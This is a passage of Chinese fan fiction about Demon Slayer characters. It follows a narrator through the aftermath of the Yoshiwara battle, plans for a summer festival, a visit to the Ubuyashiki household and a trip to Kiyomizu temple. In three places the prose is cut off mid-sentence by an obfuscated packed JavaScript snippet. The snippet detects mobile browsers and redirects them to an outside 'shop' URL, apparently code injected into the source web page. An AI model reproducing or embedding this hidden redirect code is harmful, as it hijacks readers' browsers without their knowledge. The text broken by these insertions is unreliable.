妓夫太郎极其瘦,瘦到像是只有皮肤裹着骨骼,绿色的头发凌乱地扎着,过长的刘海中藏着一只金色的眼睛。他笑着露出尖利的齿,惨白地咬向空气,从骨架子中冒出的声音嘶哑而轻扬。他双手各持有一柄红色镰刀,正和宇髓先生缠斗在一起。但情况并不乐观,他们角斗时轰出满地烟尘,房屋压倒一片又一片,宇髓先生并非是他的对手,难分难舍的局势中攻势化为守势,借出招防守对方的攻击。 屋顶上炭治郎三人正在围攻蕨姬。那个美丽到诡异的女子背后张扬出数条衣带,从多个角度毫无纰漏的急速冲向三人组。他们只能各自应敌,击开袭来的衣带,但纯然的信任让他们异体同心,无声的默契正让他们互相配合,水流与雷电交错,为伊之助开辟出冲向目标的道路。 再回想起那一刻,还是忍不住感叹,幸好我们去得及时—— 炭治郎、善逸和伊之助三人合力砍下蕨姬头颅的瞬间,妓夫太郎的攻击变得更为凌厉,他没了继续战斗的意思,干脆利落地转变刀刃劈向宇髓先生的手臂!幸好,蛇柱大人在那个瞬间加入战局,细长的刃撇开血红的镰刀。 攻击被挡开,妓夫太郎金色的眼睛斜着瞥向他们,他哼了声,嘴角向下压,但没有恋战,从他手臂上飙出的血液顷刻间扩张成数道弯月,弧形利刃砍向伊黑先生他们,而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16613438|187639||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在脱战的那个瞬间,妓夫太郎已经毫不犹豫地冲向抱着蕨姬头颅跑开的伊之助。没人看清那个瞬间。 “等等!” “伊之助——小心!” 惊恐的呼声在同时响起,但声音总是太迟了,迟得仿佛于事无补,只能眼睁睁看着那柄红色的镰刀反身穿过伊之助的胸膛,不等血液溢出,妓夫太郎已经轻巧夺过蕨姬的头颅。拔出刀刃时蕨姬身后那些乱舞的衣带无限抽长增生,失去控制般劈向四面八方。 我没来得及看清什么,动态视力远没支持我捕捉到剧变的发生。在建筑碎裂的同时,炼狱杏寿郎反手将我抱进怀里轻身躲开攻击范围,他把我整个搂在怀里,我只能感受到他的气息。 巨大的躁动响彻天际,震耳欲聋。 远处的黑夜在盛大的火光下显得模糊不可分辨,空气颤抖到扭曲,一颗星子也没有,木料燃烧后的焦焚味呛人无比,追随着飘散的烟尘爆裂四散。没有声音,寂静是逐步逼近的死亡前奏,无声弹唱着终结的悲凉。 我在杏寿郎怀里恍惚很久,下意识攥住他胸前的衣裳,布料被揉皱,耳鸣声像涨潮,不断涌向耳蜗,我晃动脑袋时可以那么轻易地听到沉闷的浪声。 四周只有焚烧在表演,空气中温度攀升,滚烫的触觉已经贴着我裸露在外的皮肤。炼狱杏寿郎说着什么,我看见他嘴唇张合,但什么也没听清。他皱着眉,大略地在我身上捏了几下确认我没因此受伤后,护着我靠到未坍塌的一处墙边藏好。做出这一系列举动时他的左手始终放在刀柄之上,指节发白,而手腕上青色的筋脉用力隆起。 原来战斗远没有结束…… 但人总是后知后觉,在结局到来前才会回首:如果当时我不这么做的话,现在的走向会否不一样呢?人总是这样容易摇摆。 我努力回忆那一刻,然而记忆中的阴影始终笼罩着双眼观测到的一切。就像现在,我试着用文字记录这个夜晚,已经写了太多了,记录的见闻逐渐耗干墨囊的生命,字迹越发浅淡。这是叫我放下钢笔的提醒,目光流过前文,昨夜的每分每秒转变成纸页上墨迹未干的文字,但描写永远过于简单,不能具象我所看到的万分之一。 不等我再次拿起钢笔,一个白瓷小碗被塞进冥思苦想斟酌文字的我手中。我抬头看去,是胡蝶忍。“快喝。”她笑着弯起眼睛,温柔的语气明牌命令。我的表情在那个刹那僵硬,双眼沉重地跌向手里的药碗。 ——这个超苦的! 事实上,我应当是这次所有受伤人员中情况最轻的那个。回到蝶屋后,胡蝶忍最初都没注意到我——那不是肯定的吗?战斗与我擦肩而过,我明明都没受伤来着——杏寿郎形容了我流鼻血时的状态,我严重怀疑他夸大了形容,不然忍为我检查起来不会面色沉郁。最初确认症状为过度疲劳导致的血气上涌,但我既没有疲劳,更不存在过度。 我只能详细地向她描述那天的情况,从头到尾,她一边从朴素的砂锅中盛出冒着白烟的深色药水,一边分析:“那应该是你错误地使用了呼吸法的缘故。呼吸法的快速运转有助于使用者身体中血液的流动,而错误使用后,情况严重的会导致气血逆流。” 老实说,故事已经发生到这里,我还是不知道呼吸法究竟是什么东西,我和它之间隔着厚厚的名为科学的障壁。对于忍所说的我使用了呼吸法的论点,更是觉得难以置信——我没有学习过呼吸法,从来没有!杏寿郎也没有教过我。 最多只是在梦中,被外祖母搂在怀里时轻声提示过注意呼吸的调动,没有口诀,没有教授,仅此而已——何况那种全身都被呼吸平衡的感觉只持续了很短的一段时间,在我的意识脱离梦境后,很快就结束。如果这是错误的源头,那后遗症未免也太严重了些…… 但我又能在医生面前如何反抗呢?看着已经被奉上的药,也只能乖巧地捏着鼻子灌下一口,药汤还热着,苦味恋恋不舍地徘徊在舌根处,让我在喝下一口前始终为此浑身战栗。 胡蝶忍目不转睛地盯着我,直到我将药喝完,她才心满意足地收拾起东西。 结束“惩罚”后我看也不敢多看,只舍得留下一句再见,就忙不迭拿起钢笔和笔记本跑出忍的实验室,回到洒满阳光的走廊上。杏寿郎正站在门口,看他的样子似乎正要敲门。那天情况太过突然,我想他真的吓坏了,因为后来他死死抓着我手腕的手一直在颤抖,与一贯镇定自信的炎柱大人的形象实在相去甚远。即使现在忍一再表示我的身体很健康,他的疑虑也没能打消。 “好些了吗?”他的提问就是证据。有栖川朝和现在是炼狱杏寿郎眼里的玻璃娃娃,还是处于悬崖边缘摇摇欲坠的那种。我凑上前主动牵住他的手,“喝了药啦!”这是让大家都安心的方法,包括且不限于杏寿郎,“那个真的太苦了!”我忍不住向他抱怨,能不能不喝了? 问题还没出口,他就将另一只手举到我面前,向我展示:一个精致的玻璃瓶内装满形状可爱的金平糖,阳光下这些迷你的糖粒晶莹剔透。好吧。我从里面倒出几颗扔进嘴里抿着,果味微甜缓缓扩散,逐渐覆盖过药味。 “蛇柱大人已经走了吗?”我问道。 “嗯。”杏寿郎点点头,“伊黑会先去向主公汇报。等宇髓伤好后,应该会再开启一次柱合会议。”[吃金平糖捏] 这当然可以理解。毕竟这次成功斩杀了一位上弦之鬼啊!听说已经有近百年的时间没有任何一个上弦之鬼被斩杀了,上弦之六的死亡具有重大的特殊意义,它是鬼杀队新旅途的第一步,是砍破黑夜的第一刀。虽然受伤惨重,但事实如山,上弦之鬼并非不可战胜的。 我们一同走着,灿阳温柔地洒落,铺满并肩的咫尺。 41. 夏至 我的病症随着良好的休息简化为头晕脑热,喝够两碗药后就好全了,但火烧吉原的深夜里,遭遇更凄惨的原本就另有其人。 炭治郎几乎被包扎成木乃伊的样子,直挺挺地躺在床上,他伤得的确严重,从头到脚,就没有完好无损的。伊之助与善逸的状况要好些,但也伤筋动骨,即使有呼吸法加速愈合,也得在床上躺个几天。 槙於和须磨没有大碍,只是些皮肉伤。雏鹤的情况严重些,她为了脱离游女屋吃下的药解除太晚了,虚弱的症状因此多绵延几天,但她精神很好,或许是因为大家都活下来了,没有死亡——最重要的是,宇髄先生活着。 与炭治郎的惨状不同,强大如柱的宇髄先生所承受的伤与毒,在高速运转的呼吸法辅助下很快就会痊愈,但他同样伤到眼睛,且情况比杏寿郎那时更严重。血污下左眼已经完全无法睁开了,回到蝶屋处理时,忍的表情也异常凝重。嗜好华丽的音柱大人失去一只眼睛……难言的悲伤让大家都感到滞闷。 杏寿郎和我一起去探望过他,除了被包扎起来的脑袋,看不出别的伤情。 宇髄先生披散了半长的白发,穿着一身日常的和服,没有用珠光宝气的宝石装点的宇髄天元变成一个文气飘然的俊美青年。他神采奕奕地和三个妻子坐在廊上说着什么,四人吵吵闹闹——主要是槙於和须磨在吵,气氛却很幸福。 看到我们前来,宇髄先生很自然地打了招呼:“你们来得正好!” “休养得怎么样?”杏寿郎问道。 我被雏鹤她们拉着坐到一起,我们像绒绒的团雀挤在一起。面前的小几上放着一些点心,她们倒了茶,又让我品尝做成樱花形状的和果子。 “已经没事了。”宇髄先生的声音爽朗自然。 话题停滞了一会儿,杏寿郎才接上:“主公大人和我说了你的打算……” 什么?我完全在状况外,但敏感地察觉到此刻的不同寻常,连最爱热闹的须磨都沉默了,此刻只剩下雏鹤倒茶的水声。 宇髄先生显然没想让气氛陷入僵局,又或者他并不觉得这有什么不可言说,很自然地接过话头:“那三个少年做得非常好。他们日后的成长无法估量,非常华丽!”他语气中的自豪与赞赏流溢而出,接着说出的话却是爆炸性的,“退居二线这个决定我已经考虑很久了……” ——欸?!我当然以为自己听错了,但当我抬头望去时,他的神情没有一丝玩味,玫红色的眼眸中风平浪静,是那么认真。 杏寿郎垂着眼不知道在想什么。 槙於紧张地开口想要解释,但被宇髄先生轻飘飘地拦截,“这是我和我老婆们的约定。总让女人担惊受怕,这的确不是男人该做的事。”他说着,眼神却落到我身上,我感觉到了其中的意味——我曾经品尝过其中的滋味。 杏寿郎也在看我,当我与他对视,他就露出一个温柔的笑。 “卸任后去教导新入队的成员,也很适合你。” 宇髄先生哼笑几声,跟着畅想了下未来,“我会把他们都训练得非常华丽的!” 他们作为共同奋战的同伴已经许多年了,有些话不用说,只要传递一个眼神就足矣。 但气氛到此,还是隐隐染上哀伤之意,牵绊着物哀的文化,一朵花的开放,一个人的经历,一段故事结束,纵然过程完美,结局也总有缺憾。鬼杀队从不谈论死亡,因为死亡就是众人身边紧紧依随的影子,无法摆脱,且轻易就会降临。 与杏寿郎相比,宇髄先生更加幸运。但我们都知道幸运不会永远只眷顾一个人,幸运是虚无缥缈、无法预测的,我们必须得珍惜已经拥有的幸运。 吉原的大火还没完全熄灭,这几天东京都到处弥漫着一股紧张又恐惧的氛围,站在高处远远地看去,还能看见吉原方向天边燎红的云霞与浓烟。城中关于火灾的起因有诸多猜测,人们想起数十年前类似的那次火灾,幻想着末日降临或者谁的蓄意报复,当然也不乏有纵火的怪物这样的猜想。 与堕姬、妓夫太郎兄妹的作战依然历历在目。他们是一对联系紧密却也将亲密关系衬托得无比畸形的奇怪兄妹,实力的强横与外在的差异往往构成鲜明特色,憎恨与爱意并存,绞紧,扭成难以理清的苦果。也许鬼就是这样的生物,生前经历几多曲折,但成为鬼后他们才找到真正的自己……然后过度释放真正的自己。 我总觉得自己有了新的体会,当我看到炭治郎紧紧抱住祢豆子,与含着泪共同消散在火光中的上弦六兄妹,比起恐惧与怨恨,对他们的同情也跟着涨上心头。 鬼的存在,并不是真的给予了他们新生,而是引诱他们踏上更阴毒的地狱。 不过对于鬼杀队大家来说,状况还是良好的,前方聚集在迷雾中的路显得更光明了。上弦之六的死亡对于鬼杀队或者对于鬼,都是极大的震动,接下来的变化或许会更加险峻,但我们也会更加坚定。 温热的触觉从桌下传来,是杏寿郎悄悄伸手过来牵住我。他总能在第一时间捕捉到我情绪的变化。我用指尖摩挲他虎口处,他便把我牵得更紧了些。 像是对压抑的环境过敏,宇髄天元很快终结先前的话题,大力拍了下手,说道:“你们来得正好!” 我们刚来的时候他也是这么说的。看他像是要宣布什么重大事件,我打起精神挺直了脊背认真倾听。 “我今天早上起来的时候发现庭院里的紫阳花开了。” 没头没尾的一句。 但叫我忍不住回身去查看院子,在英国被称为绣球花的园艺花卉,原产于中国和日本。日本经常叫它做紫阳花,而在日本的土地上绣球品种繁多,不乏有许多花色奇异的类型。 宇髄家的院子里确实有一大丛绣球,枝叶繁茂,几朵蓝紫相间的已然盛放,团花在绿叶间挨挨挤挤。而那些未开的花苞摇头晃脑,想来用不了几天就能全部绽开。 有栖川家的院子里作为园林造景同样栽有几丛绣球,这些花的打理并不太费功夫,于是外祖父经常亲自料理,而不假借他人之手。 去年我刚来到日本不久时,院子里的绣球花就一大簇一大簇地开了,推窗望去,尽是彩色的海在陆地蔓延,暑热中看着这些缤纷的颜色就削减了烦闷。 “夏天要到了。”杏寿郎点点头。 是啊,夏天要到了——这下我才确切地意识到:原来我在日本也有一年的时间了。 某个关键词的出现拨动了这位音柱脑中的弦,韵律正在徜徉,宇髄先生兴奋起来,他的声音变得洪亮,热情高涨:“该举办祭典了!” “这是一个很好的机会,可以作为除掉上弦之六的庆祝仪式。”出现了,祭典之神的使命,宇髄天元的快乐源头,他直截了当地宣布:“夏日祭!” “有栖川家的小小姐,”宇髄先生不等大家反应,话锋突地一转,打量着我,勾起一个笑:“你来日本之后还没有逛过夏日祭吧?”他用一种这下你要赚大了的口吻安慰我,“我会亲自组织,这一定会是你参与过的最热闹最华丽的祭典!” “这次可千万别错过!” 那个让人心驰神往的词刚一出口,我就跟着兴奋起来! 老实说,祭典留在我脑海里的印象只剩下年幼时外祖父曾抱着我穿过金鱼和苹果糖之间,模糊得如同雾里看花,寻不到一点可以追踪的细节。 而回到日本后的这一年里,我没能参与任何一个祭典。刚来到日本时,春祭早就结束了,只好安慰自己还有夏日祭——啊,这是一段回想起来让人感觉多么难过的记忆——夏日祭的时候我因为暗巷里的鬼只能蜗居在家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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日本各地其实每年都会有固定的时间举办祭典,但是因为最近吉原出了这么大的事故,今年东京恐怕会低调一些。于是宇髓先生将夏日祭的位置定在京都附近,那里有一座藤之家,既可以供鬼杀队的成员在休息之余前去放松,也不必担心夜晚时鬼趁机出现。 “很高兴吗?”杏寿郎明知故问。 我用力点点头,“嗯!到时候我们一起去吧?” “唔……”他忽然沉思起来,眉头微蹙,表情变得有些凝重,形成一个不太像炎柱大人的表情。 拜托拜托—— 其实这段时间该有很多安排。很快会再次举办柱合会议,鬼杀队的方向将重新确立。宇髄先生休养期间,属于音柱管辖的区域被分给其他的柱暂时管理,谁也不能确定第二天在哪里会有鬼出现。 还有……杏寿郎的伤已经完全好了,重铸日轮刀的安排终于被正式提上议程,他得亲自去一趟刀匠村——这地方听着就很远,让我想起第一次见到主公时,我和父亲在深山密林里艰难地行走。他要去多久?我总在思考这件事,内心深处轻声呼吁:真不想和他分开。 我跟着屏气凝神,难以遏制气氛下跌。 看着我逐渐愁眉苦脸起来的表情,炼狱杏寿郎忽然笑了,他伸出手,先是指尖试探地触碰到我的耳朵——耳垂上热度上升得极快,接着温暖的皮肤缓缓贴住我脸侧,他轻柔地抚摸我的脸颊,而我自然地贴向他掌心。源于内心深处的本能其实无需时间过渡,但我们两个显然还在慢慢适应对彼此的亲近,我们笨拙地尝试着,让距离变得更加紧密。 他俯身,额头抵住我的。我们凑得很近,近到呼吸交融后,心跳亦进入同频。 在他的眼里,赤金色的海洋正在融化,倒映出我依恋的样子。他理所当然地说:“当然了!之前我就答应过你,要和你一起去祭典的。” 是的。 炼狱杏寿郎答应过我,在很久之前那个栀子色的午后,他对我做出的承诺从无违背。 42. 崎路 夏日祭的准备工作展开得如火如荼,宇髄先生更是亲力亲为,伤还没彻底好全,就已经按捺不住激动的心情,四处忙碌起来,往往一天里见不到人影。 慢慢地天气的存在感也日益加剧,新一次柱合会议不日就要展开,柱大人们也相继从自己守护的地区赶来。上弦之鬼的斩杀将未来掀开帷幕,全新的、没有人见过的图景正等着大家去探索。 我又去到主公的宅邸拜访。只不过这次是与杏寿郎一块儿去的。 再一次站在那些难走的山路间,我还能回想起初次来到这里时的感受,与父亲还有隐的成员在这些山麓间行走,踩着木屐落步时我脑海中每一次都在想象着将要摔倒的危机——杏寿郎走在我前面几步,这条狭窄的小道铺陈在蜿蜒的山脊,连绵如一线浪潮,在蓊蓊郁郁的树林间若隐若现,无法容纳两人并肩。他朝我伸出手,掌心向上摊开,无声地对我发出呼唤。 我把手放上去。在皮肤相触的瞬间被他转换形式,十指交错地牵住。 他走在前面,而我缀在后头,我们一前一后地往深处走去,四野寂静得只有风吹拂过树叶的簌簌声。太阳正好,还不热烈,但能轻易地穿透树荫,使云雾消散,让人看清前路;地面干燥,最近几日没有降雨,我便开始担忧后头几日。夏日祭的时候追着赶着越来越近,我希望那是晴朗的一天,没有雨,太阳茂盛,或者星夜明亮。 “累了吗?”杏寿郎转过身来问我。 我正打量一侧,从山脉向空旷处推开,城市里排列整齐的屋顶如棋盘陈列。从高处眺望世界,一切总是显得那么渺小,但自己的存在却是独立于外的,仿佛伸手可以掌控一切。听到他的声音我才收回注意力,我们已经走了大约两三英里的路,但时间过得比第一次来时快多了,我没有感到难以忍受,同样也没有倍感疲惫。 将近一年的时间里,在我身上发生的变化就称得上翻天覆地,无论是我的行事还是思考方式,都逐渐脱离稚嫩与短视,如现在行走的路般正向上攀爬。 但杏寿郎这样问时,我真想说“累了”,想看看说出这句话时他会做出什么表示。或许他会背我?但我始终记着父亲说的主公是个传统的人,于是端正仔细地穿着和服。 我摇摇头,他牵着我的手便更用力了些,手臂弯起时带着我向前,我朝他的位置凑近了些。 “很快就要到了。” 率先展露在视线里的依然是一段长长的夯土墙,延伸到可见的尽头只余下竹编的篱笆。我们走近后发现产屋敷府邸的大门开着,门口早已有人站着——两个穿和服的小女孩,一个黑发一个白发,如同一个模子里刻出来的两张脸,在看到我们后两人不约而同恭敬地俯身行礼:“贵安,炎柱炼狱杏寿郎大人和有栖川家的小姐。” 我朝他们眨眨眼。我当然记得那个午后连廊上玩花绳的玩伴,辉利哉和彼方,他们看着似乎长高了一些。 杏寿郎带着我去拜访了主公。温柔的声音如有魔力般的主公看起来更虚弱了,身边另有两个一模一样的孩子搀扶着他坐下。 “辛苦了,杏寿郎,朝和小姐。”听到主公的声音时,再多的烦躁都会被抚平,心绪平静下来。他的声音像水流,那种寂静的平缓的水流,你看着它时往往觉得是静止的,但是只有你靠近——深陷其中时,才会知道水面之下究竟蕴藏着怎样的洪流。 但过于汹涌的浪潮同样象征着极端的危险,将它阻拦在安全区外的堤坝不会永远坚硬,总有一日会面临崩毁。与上次相见比起来,今日的主公更像是蓄积着力量已经濒临崩坏的潮涌。 我能看得出主公强撑着精神,杏寿郎与他还有鬼杀队的事务要谈论,于是打过招呼后我便先行离开。 走出那方小小的庭院时,辉利哉在门口等我。 我笑着走上前与她打招呼,她仍是那副没什么变化的三无表情,这么小的孩子一直住在山里,虽然是为了安全考虑但也太辛苦了。所以我这次来前特意给她们准备了一些最近市集上流行的小玩意儿,商家拍着胸脯保证很招孩子们喜欢。 意识到我是要把手中的东西送给她时,辉利哉有些出神,凝视片刻后才犹豫地伸出手接过。“彼方呢?没和你一起吗?” 辉利哉摇摇头。她看着手中的玩具,又伸手牵住我的衣袖——咦?老实说之前看他们,我总觉得这些孩子身上有着与年龄不符的稳重与成熟,杏寿郎告诉我辉利哉他们都是主公的孩子时,那种难言的情绪也就更加沸腾了。我说不好这叫作心疼还是担忧。 但此刻辉利哉牵住我振袖的小手却显得那么可爱,我慢慢蹲下来,将她的手拉到自己手里,那是一双小小的手,手指细嫩,没有茧痕,肤色比我还要白一些。 “怎么了,辉利哉?有什么事要和我说吗?”我轻声问她。 她点点头:“请跟我来。” 辉利哉带着我走过游廊,那些纵横交错的游廊将整座府邸分割成许多片,不多时就让我迷失其中。我回头望去时已经记不太清来路了,浸没在阴影中的走廊伴随着产敷屋已经屹立在此多久了?时间逝去后万物留下的都只是苍老,那种气息不一定都有气味,但会随着人的感知传播蔓延。路过前院的池塘时我才想起来过此处,上次与父亲同来时就居住在这边上的客房。我在池塘边待了很久,把里头养的几尾锦鲤喂得差点沉不下去。 但辉利哉没有停,我们还在行走着,穿过一个又一个天井,一间又一间厅房,从有栖川宅的格局我大概推测出我们已经来到主人家居住的后院。 这似乎有些失礼了。这么想着,迈出的步子就慢了下来。 辉利哉疑惑地回头看向我,她那聪明的眼睛一定捕捉到我的迟疑,没有说话,只是更用力地牵着我向前走去。 装点得更精致古朴的后院也就随着我们的靠近逐渐清晰展现,庭院里种着好几大丛绣球,看得出来养了许久了,走近时几乎压过我的个子。还有类似太湖石的造景安置在花丛中,大约是占地面积够大,产敷屋家的宅邸里没有使用那种乏味的枯山水造景。 我看着盛放的绣球,团团缤纷在眼前跃动,这里的生机盎然与前院不同,正目不暇接,辉利哉停下了步子。 “有栖川家的小姐到了。” 闻言,我抬眼向前望去:推门展开的一间和室内,一位白发的美丽女性正在对我微笑,而另外两个孩子也乖巧地坐在她身边。 我接过递来的茶碗,这里盛着的是符合日本茶道标准的抹茶。其他几个孩子也各自分到一小碗,我们安静地捧着茶碗啜饮绿色的茶汤,浓郁的香味最先涌来,吞咽后舌头才悠悠想起苦涩,但山泉的回甘很快冲淡了那种凭吊般的回味,将一切留到腹中。 “如何?”白发的妖精般的女性微垂下视线看着我。 “很好喝!”我顿了顿,又补充道:“抹茶的香气浓郁,回味的微涩清新,但是最后的回甘简直是点睛之笔。”其实我一点也不会品茶,天啊,要是有英国人说他是世界上最懂茶的人,那可千万不要相信,毕竟那一壶加了蜂蜜与方糖后甜腻的茶只有搭配了水果才能排解。但我希望她能满意……至少不是不满意。[见夫人] 白发的妖精听到我的话后突然笑了。如果她只是微微露出了和蔼的神情,就像高坐在供台之上的神明塑像,美丽但又圣洁。可她此刻失笑时自然亲和的表情却与众不同,她又活了过来,不再有距离感,你会打心底里认同她的存在,只因为你知道她真心实意地待你好。而这份圣洁的美貌——我见过同样美丽的女人,只有花街中的上弦之六堕姬。但堕姬的美丽张扬锋利,时刻会有割伤观者的危险。天音女士则不同,天音女士身上有一种奇异的平和与宽容,这是她天性之中写有的。 “你的外祖母从前也这么说。”她温和地注视着我。 这位美丽的女性名为产屋敷天音,是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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孩子们已经喝尽了茶汤,一个接一个乖巧地把茶碗放在茶几上。我这才能够好好打量这三个孩子,她们生着几乎一模一样的脸,两个(当然包括彼方)与先前搀扶着主公的孩子一样是白发,只有辉利哉是黑发。这样看起来的话,白发的孩子似乎更像天音女士,而辉利哉则更像主公。 注意到我观察她们的视线。天音女士忽然感慨道:“朝和,谢谢你愿意陪孩子们玩,在这里并没有什么乐趣,她们很小就要学着长大,去传达、主持鬼杀队的事务。很少有人会将他们看作孩子。” “辉利哉都很喜欢你。” 我看向辉利哉,她低垂着头打量我为她们带的玩具,就是不肯与我对视。 明明就是个孩子啊! “我也很喜欢她们!”这当然是我的真心话。 “未来,或许她们会给大家添上许多麻烦,届时还希望朝和能够帮助她们。”不知为何她的声音里有些低沉——是了,那时的我远没有听出其中蕴含的深意,我是那么天真,那么理所当然地点头应下,告诉她我和有栖川家都会坚定地支持辉利哉、支持鬼杀队。 而那时这位女士、这位妻子、这位母亲、这位鬼杀队的协理者,她灿若繁星的黎灰色双眼中闪烁的究竟是午后曜阳的反射,还是……泪意? 她没有给我多余的时间深思,很快整理了情绪转过话题。宇髄先生将要举办一场夏日祭的事恐怕已经传遍日本了,想必从北海道到九州无人不知。东京大张旗鼓到我都担心上弦之鬼会大摇大摆地走进来加入。 天音女士说起的果然也是这个:“听说天元的祭典是和有栖川家一起承办的。最近进展如何了?” 是的,在知道宇髄先生要举办的祭典规模后,我父亲主动出面联系了他,表示可以共同承办,有栖川家会提供多方面的支持,且不会妨碍宇髄先生的想法。两人一拍即合,将这件事定了下来。如果最初我送上的只有一家烟火工厂的话,那现在,连我父亲都想在祭典上承租一个摊位绘画。 “筹备得很顺利,就像宇髄先生说的那样,会是非常华丽的一场祭典!”话说到此处,我有心想邀请她们同去,但也深知不可能。天音女士似乎还承担着对主公的照顾,孩子们年纪轻轻却已经在鬼杀队负责不少事务,即使我们可以空闲下来休息片刻,作为鬼杀队的主公的产屋敷家却不能松下这根紧绷的弦。 话在脱口而出时自然而然转了方向,“我会多拍一些相片,下次再来拜访的时候带给您看!” 43. 烟火海 最终夏日祭的具体位置被确定在京都府宫津市,我和杏寿郎提早来到京都,预备在周围逛逛。 说起京都的必去之地,那清水寺定是排列前茅。 母亲说从前她和父亲带着我去过清水寺,但实在是太久远的事了,或许那时候爬上山的小路还得父亲抱着我走。而在我的记忆里,关于清水寺我只在母亲收集的画报上看到过一幅景色——本堂前悬空的清水舞台无疑构成人们对清水寺的第一印象。 初夏的音羽山虽繁茂,却没有春浓时樱花汇聚成海的秀美,也不如盛秋时漫山遍野的红叶来得震撼。我站在清水舞台边缘远远眺望,大半个京都尽收眼底,在日光下闪闪发光。 但鉴于有着“从清水舞台跳下去”这样的俗语,杏寿郎一直牵着我的手。 “杏寿郎从前来过清水寺吗?”我问道。 他正学着我望向前方,京都在我们眼中构成扁平的方块,如一张地图铺开,视线所及无所遁形。 听到我的问题,他毫不犹豫地摇摇头。 清水寺是京都最古老的寺院,所在的音羽山更传说是观音道场,寺中供奉着千手观音。这是日本佛教法相宗的本宗,是文化的体现与传承。 我必须承认自己改变了,当僧侣指引我在蒲团上跪下时,我心中一片平静,望向那低眉垂目的菩萨时我不断默念着自己的祈愿。再次抬起头时,视线余光瞥见虔诚闭目的杏寿郎,我们心中所想或许是共通的。 事实上,我实际并不信仰宗教。外祖父母是这样,母亲也是这样,只有父亲因为家族传承信仰天主教,但并没有要求母亲结婚后入乡随俗,也从不曾要求我跟随信仰。 在英国时我偶尔会陪着父亲去教堂做礼拜,但那一定是我为了逃避什么无聊透顶的家教课,或者我需要在父亲面前表现得足够乖来让他答应我的要求。有时我会坐在教堂里——就坐在父亲身边——在大家祈祷时跟着一起念诵祷词,唱诗班圣洁的歌声响起时我便闭目聆听。当然有的时候我只想待在庭院里发呆以消磨时光。 日本除佛教外还有本土宗教神道教的传承,在这片土地上繁茂地生根。而天主教这种舶来品,自然是跟着打开日本国门的船只一起漂洋过海前来的。最初大约只是以礼拜堂之类简单的形式存在于港口,慢慢地铺向城市,直到也融入进这座岛屿,成为其中繁衍的一部分。 东京有着不少教堂,大多是欧美传教士来到后,从商人那里募资建造的。父亲会去的那个教堂便是兰德家族出资修建的,建筑仿造约克大教堂,以精细华美的哥特式风格成型,但尺度上要缩小不少。教堂坐落在商业街附近,周围没有太多居民区,倒有不少存货的仓库。我以为会前来做礼拜的应该都是借住在附近的白人,但事实并非如此,还有相当一部分日本人也温和地踏进教堂,满脸的虔诚。 神父曾经劝告我要忠诚信仰,但在我软硬不吃的表现下最终退败,可他还是坚称“这个世界有神的存在,无论你信不信仰,神都在注视着你”。 从清水寺出来后,我们预备在附近歇脚。我找到一家装修雅致的茶楼,坐在临街可以看清外界的位置,杏寿郎在不远处的街边替我买铜锣烧。支起手臂撑着脸,隔着洒落的午后阳光凝视他的身形,这一刻某种恰如美好的情绪在我心头泛滥。 “姑娘……姑娘!” 有人忽然出声,呼唤我的是日语,用词还没有西洋化,吐字时甚至带出一些俚语的口音。 我抬头看向声音传来的方向。是一个年轻人…… 应该说是一个衣着有些奇怪的年轻男人,穿着近似僧侣的服装,但留着头发,并没有剃度。他举止间带有某种彬彬有礼的自然,脸上的表情温和,但那双眼中……不知为何如深潭般莫测。 我礼貌地朝他颔首,“请问有什么事吗?” “你好,姑娘,我是附近万世极乐教的信众,请问可以向你介绍一下我们的教义吗?” ——什么? 诧异首先占据我的大脑,我表情古怪地打量着面前的男人,再去仔细观察时终于发现一些异常,即使服装上带有僧侣袈裟的形式,但他身上没有丝毫烛火熏燎过的檀香香气。 而且这个宗教的名字…… “抱歉,什么宗教?”我问道,一边用视线扫视周围,这个时间的茶楼里客人稀少,老板并不在柜台前守候,服务员分散着坐在后厨门口。没有什么人看向我们的方向,或许在他们看来也只是一个年轻男性在向一个年轻女性搭讪。 “万世极乐教。”他这样说。 得到我眼神注视的鼓励,他的信心升起了些,接着先前的内容说了下去:“我们的教义是抱着沉稳的态度去开心地生活。让人难受或是痛苦的事,就没必要勉强自己去做。” “嗯……”我思考了下,所以为什么挑中了我呢?我只能干巴巴地回应道:“听着还挺自由的?”好像不信仰这个宗教也能做到,那么有什么信仰的必要呢? 年轻的传教士向我展示了一直拿在手中的书册,据他所说那是万世极乐教的教祖教导他们的真理。他们的教祖无所不知,全知全能,他能够听到神明的声音,是为了拯救教徒才降临于世的。 这番言论倒是比先前那些无聊的话听起来像样些了,在英国至今都有着污蔑寡居的女人为女巫的异教徒,他们也打着神启的名义做尽丧天良的坏事。 我从前在外度假时,还被各种各样的异教徒发过传单,那些用长袍包裹住自己仿佛不能被太阳直射的人有男有女,无论贫穷还是富有,都统一有着一个麻木却癫狂的灵魂。他们会像幽灵一样挤挤挨挨地包围住你,向你唱诵教义,劝你加入其中。 我烦不胜烦,却不能轻易摆脱。直到肖恩出现,手枪响起。原来他们的神没有给予他们不畏子弹的□□。 “你们的信仰,是类似佛教吗?法相宗?禅宗?还是净土宗?教派建立有历史背书吗?神明体系传承自哪里呢?大国主?还是佛陀?”极乐啊……难道此世之外只有极乐世界,奉献信仰就能由人接引抵达? 可我从不相信。 男人因我的话愣住,片刻后才开口,却支支吾吾地想要解释他们教派的经历,一对诞下神之子的夫妻,并不丰茂的宗教体系,传承数十年,教徒范围大约在两百余人。不管怎么看都怪异不已的配置,但教徒仍旧要贡献金银财宝来祈求教祖的垂爱——仅是教祖。 